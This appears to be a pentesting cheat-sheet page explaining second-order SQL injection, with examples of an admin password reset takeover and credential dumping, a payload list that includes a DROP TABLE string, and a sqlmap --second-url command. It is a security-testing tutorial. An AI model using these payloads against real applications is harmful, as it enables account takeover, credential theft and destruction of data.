Second-Order

Overview

Payload is stored in the database (registration, profile update) and executed later when another feature reads and uses it in a SQL query without sanitization. Input is sanitized on insert but not on retrieval.

How It Works

Attacker registers username: admin'-- -
Application stores it safely (parameterized INSERT)
Later, application uses stored username in another query:
   SELECT * FROM users WHERE username='admin'-- -'
Injection triggers on the second query

Common Injection Points

Store Here	Triggers Here
Username	Profile page, password reset, admin panel
Email	Notification system, search, export
Address	Order processing, invoice generation
Comment	Admin review panel, moderation page
Filename	File listing, download feature

Example — Password Reset

Register

Username: admin'-- -
Password: anything

Trigger — Change Password

Application runs:

UPDATE users SET password='newpass' WHERE username='admin'-- -'

Result: admin password changed to newpass.

Example — Profile Update

Register

Username: ' UNION SELECT username,password FROM users-- -

Trigger

Application displays profile with:

SELECT bio FROM profiles WHERE username='' UNION SELECT username,password FROM users-- -'

Example — Data Exfiltration

Store

Name: ' OR 1=1 UNION SELECT group_concat(username,0x3a,password) FROM users-- -

Trigger

Appears on admin dashboard, export CSV, or email notification that renders the stored value in a query.

Testing Methodology

Identify all input fields that store data
Inject payloads in each field (registration, profile, settings)
Navigate to every feature that reads those fields
Monitor for SQL errors or unexpected data
Check admin panels, reports, search, export features

Useful Payloads

admin'-- -
admin' AND 1=1-- -
admin' UNION SELECT NULL-- -
' OR '1'='1
test'); DROP TABLE temp;-- -

SQLmap Second-Order

sqlmap -r request.txt --second-url="http://TARGET/profile" --batch

--second-url = page where stored payload is triggered.

Quick Reference

Step	Action
Store	Inject payload via registration/profile/settings
Trigger	Visit page that queries stored data
Password reset	Register as `admin'-- -`, change password
SQLmap	`--second-url="http://TARGET/trigger-page"`

Recon

SQL Injection

Headers & Cookies

Vulnerabilities

Denial of Service

Overview

How It Works

Common Injection Points

Example — Password Reset

Register

Trigger — Change Password

Example — Profile Update

Register

Trigger

Example — Data Exfiltration

Store

Trigger

Testing Methodology

Useful Payloads

SQLmap Second-Order

Quick Reference

Sources

​Overview

​How It Works

​Common Injection Points

​Example — Password Reset

​Register

​Trigger — Change Password

​Example — Profile Update

​Register

​Trigger

​Example — Data Exfiltration

​Store

​Trigger

​Testing Methodology

​Useful Payloads

​SQLmap Second-Order

​Quick Reference

​Sources

Overview

How It Works

Common Injection Points

Example — Password Reset

Register

Trigger — Change Password

Example — Profile Update

Register

Trigger

Example — Data Exfiltration

Store

Trigger

Testing Methodology

Useful Payloads

SQLmap Second-Order

Quick Reference

Sources